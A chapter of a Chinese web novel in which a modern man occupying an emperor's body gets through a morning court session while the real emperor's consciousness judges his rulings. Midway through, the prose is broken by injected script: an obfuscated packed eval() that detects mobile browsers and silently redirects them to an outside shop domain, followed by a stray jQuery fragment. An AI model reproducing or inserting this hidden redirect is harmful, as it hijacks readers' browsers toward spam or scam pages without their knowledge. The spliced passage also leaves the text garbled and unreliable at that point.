钟磬声在太极殿内回荡。赵慎之从殿侧迈步而入,踏上御阶,转身端坐,双手放上扶手,动作一点也不犹豫,一气呵成。
他在心里默念:腰背挺直,下颌微收,ok非常perfect。
底下乌压压跪倒一片,绯袍紫袍在晨光里连成模糊的色块,赵慎之一个人都不认识。
“平身。”
百官起身。赵慎之的目光快速的在殿内扫了一圈。
武官队列最前排,右手边第一位,贺兰铮一身玄色朝服,腰背挺直如松,正微微垂首站在那里。
然后他注意到旁边文官队列那边也空了一个。
赵慎之心里一紧,但很快想起苏瞳说过的话,凌中丞告假了。
那个空位是凌朝离的。他不敢多看,收回目光,在心里松了口气。
“有事启奏——”
文官队列里站出一个山羊胡老头,紫袍玉带,出班行礼,先咳嗽一声才开口:“臣,纪文渊,有本启奏。”
赵慎之微微点头。纪文渊,前朝旧臣。
纪文渊奏的是江淮秋汛的赈灾进展,说户部已调拨银两,但地方上报的受灾亩数比预期多了三成,请求追加赈款。
赵慎之听完,脑子里翻了一遍史料,没找到这场秋汛的具体记载,没有先例可循。
但他不敢犹豫太久,面上不动声色地吐出两个字:“准。着户部核实用度,明日呈报。”
话说得短,语气稳。他觉得自己发挥得不错。
李文渊愣了一下。平时陛下会说“户部核实后再议”,今天直接准了。
他应了声“臣遵旨”,退回队列。
萧承决听到后冷哼了一声。「追加赈款说准就准,不经思考,好在还知道核实。」
赵慎之自然听不到这句嘲讽,他正在想刚才纪文渊说的赈灾一事。
然而还没深度思考,武官队列里又站出一个人来。
那人身形魁梧,出班行礼时甲胄上的铁片哗啦作响,”声音粗豪得像在军营里喊口令:“陛下!北境换防的粮草,兵部说要下个月才能调齐。可北境十月就落雪了,下个月调齐再运过去,马都冻死一半了!”
赵慎之看着他,脑子里一片空白。这人是谁?什么官职?北境换防又是哪件事?他下意识想去看贺兰铮,贺兰铮是镇北大将军,北境的事他肯定知道,但他是皇帝,他不能这么做。
“兵部怎么说?。”
这话问得既没有表态,也没有露怯,还能把皮球先踢出去。
那武将显然是个急性子,一摆手道:“兵部说粮仓调度需要时间,臣都跑三趟了,每次都是这句!”
赵慎之想了想,觉得军务不能拖,但也不能在没搞清楚状况的情况下乱批。
他斟酌着开口:“兵部明日呈报调粮细目。若再有拖延,按军法论处。”
既给兵部施了压,又没当场下结论,还给自己留了一天去运用自己学习的知识去实践。
那武将显然对这个答复还算满意,抱拳应了声“遵旨”,退回队列。
赵慎之刚松了口气,余光瞥见贺兰铮侧过头,朝那武将的方向看了一眼,没有过多停留就恢复原样。
萧承决当然也看到了。那武将叫周猛,是贺兰铮麾下一位将领,性子急躁但忠心可靠。
平日里周猛在朝堂上也常被文官呛,但他从不会在这种场合抢在贺兰铮前面开口。今天是头一回。
接下来又有几个官员依次奏事。礼部请求修缮太庙,工部奏报河堤加固工程,赵慎之听完觉得没什么争议,都一并准许了。
户部奏请调整江南盐税,赵慎之听完觉得这是大事,不敢轻易答应下来,暂时让其搁置下来。
终于,礼部官员唱道:“无事退朝——”
赵慎之一抬手,百官再次跪拜。他站起身,转身从殿侧小门退出去,步伐到真像个沉稳的帝王。
走出太极殿的侧门,确认身后没有大臣跟着,他嘴角微扬。
嘿嘿嘿也怎么不算拍了一个‘皇帝上朝的一天vlog’。
萧承决看着他的样子有些无奈,但无可奈何。
赈灾款批得太松。向来都是压半放半,让户部自己把账算清楚再递上来。
但此人加了“着户部核实用度”,也不算全错。至少没敞开口子随便撒银子。
军务知道先问再批。周猛站出来的时候,此人没有直接下决断,先问了兵部怎么说。
盐税的事,此人说再议。朕上个月亲定的章程,应该直接准。但他拿不准,不硬批。搁置,也是一种处理。
不算对,但不算闯祸。却只能管住一时。
随后萧承决沉默了很久。
他批的每一道折子,都算在朕头上。赈灾款松了,是朕松的。
盐税搁置,朕搁置的。朕用几年的仗打下来的江山,如今每一道政令都出自一个陌生人之手。都是草草批阅。
最起码等他回来,还有余地,易收,有改的余地,不算一团乱。
赵慎之穿过游廊,背影消失在御书房的朱漆门后。
*
萧承决仔细思考着赵慎之没有注意到的周猛。
周猛抢在贺兰铮前面开口上奏。周猛性子急躁,但不蠢,知道分寸。按规矩,主将在场,副将不抢先。
称帝这两年来,周猛从不在早朝上抢话,今天是头一回。是什么让他觉得必须抢在贺兰铮前面?
又是什么让贺兰铮从头到尾一言不发?贺兰铮在早朝上站得像颗提拔的白杨,目光低垂,姿态恭敬,但萧承决就是认定贺兰铮与平常不太一样
今天贺兰铮明显早朝是沉默的,只有面对周猛才像是回过神般清醒。
还没等萧承决仔细想清楚,突然感觉膝盖一疼。
缓过神才发现赵慎之绊着门槛了。
「萧承决:?」
眼前是一根朱红的廊柱,离眼睛很近。
赵慎之抱着这个柱子,龙袍的角部被地上的土弄的有些发灰。
赵慎之稳住身体后,就站了起来。他向四周望了望,身后的侍从因自己走路过快甩在了身后,周围空无一人。
他揉了揉膝盖,气愤的回头望向那罪魁祸首。
那门槛确实有些偏高,刚才磕到的地方有些轻微的磨损,不过肯定不是他一人造成的。
被赵慎之甩开的侍从听见响声就吓得连忙跑了过来跪下。
赵慎之连忙松开柱子,又恢复到了正常的样子。
“陛下。”
苏瞳不知道从什么地方冒了出来,看了眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808544|210758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
赵慎之,“陛下恕罪。”
随后不等赵慎之说话,就转头对身后的侍从说:“你们怎么行的职责,若不是你们跟的不紧,陛下的袍角又怎么会蹭到门槛上!你们两个自行去领罚!”
两个侍从你看我,我看看你,都一脸茫然。随后看到苏瞳有些阴沉的脸,就连忙低下头。请过罪后,就马不停蹄的跑走了。
赵慎之还没从刚才发生的事身上缓过来,就被苏瞳引着走到了御书房。
「苏瞳倒是给他做足了面子。苏瞳对这个假皇帝倒是恭敬又带刺的样子倒是有趣。」
刚到御书房门口,身旁就跟过来一个人。
仙风道骨,确是个年轻人模样。单看穿着赵慎之还以为是个道教老头。
这人见了赵慎之也不跪,就直愣愣的看着赵慎之,苏瞳在一旁也不说话。
赵慎之被那人盯得有些心里发毛,但见此人见了皇帝也不跪也不惧,旁边这苏瞳也不说话,莫不是此人权利过大?
我的妈啊,别吓我,不是你到底谁啊?!(=°Д°=)
萧承决没来由的笑了一下。
这人还是他亲自承诺的,可见帝不跪、自由出入皇宫各处,以及宫外。但此人懒散的样子,恐怕撵他,也要好半天才走。
赵慎之突然想起来自己是皇帝。
皇帝!皇帝是什么?皇帝是至高无上的存在,天下都是皇帝的,为我独尊!不对,为朕独尊!
赵慎之想通之后,就头也不回的走进了御书房,他边走边想,萧承决,一个这么nb的人,当了他我想怎么狂就怎么狂,不用去讨好别人。
还跟他原有形象差不了多少。我管他呢。
那人见赵慎之不管他径直走了进去,没有多少错愕,反而还勾起了一抹以为不明的笑。像是料到会这样,跟着走了进去。
赵慎之:so?这么不把朕放眼里?啊啊啊到底谁啊,咋都不说话,苏瞳给这当吉祥物呢?!
沈霁,萧承决三年前亲自去青城山下请来的。
他极致喜欢推演,研究星宿。
上次他从他的观星阁里出来还是一年前。
当时的萧承决刚继位一年整,沈霁就蹲在他御书房门口等他下朝。见了面就是劈头一句。
“你三年内,不,两年内,必有一劫。”
当时萧承决没当一回事,绕过他就进了御书房,头都没回,“等劫到了再说。”
今天这劫,到了。
进了御书房,沈霁看了一会赵慎之,就懒洋洋的靠到窗边。
“陛下今日早朝辛苦了,”沈霁开口,语气随意,“臣方才在观星阁瞧见太白照显,是个好兆头。”
赵慎之看他一眼,微微点头。
沈霁没来由的笑了一下。“臣好久没给陛下推演天相了。”
说着,他站起身走到御案前。
“陛下不如就趁今天,和臣一起看看?”
萧承决听见沈霁这么说,也勾起了好奇。
抱着看戏的姿态到想看看赵慎之又会怎么回话,沈霁又能推算出什么。
赵慎之:!这人是什么隐藏款人类?看还是不看?萧承决应该不会在意这种东西吧?可是自古以来,皇帝都喜欢。
怎么回?在线等,挺急的!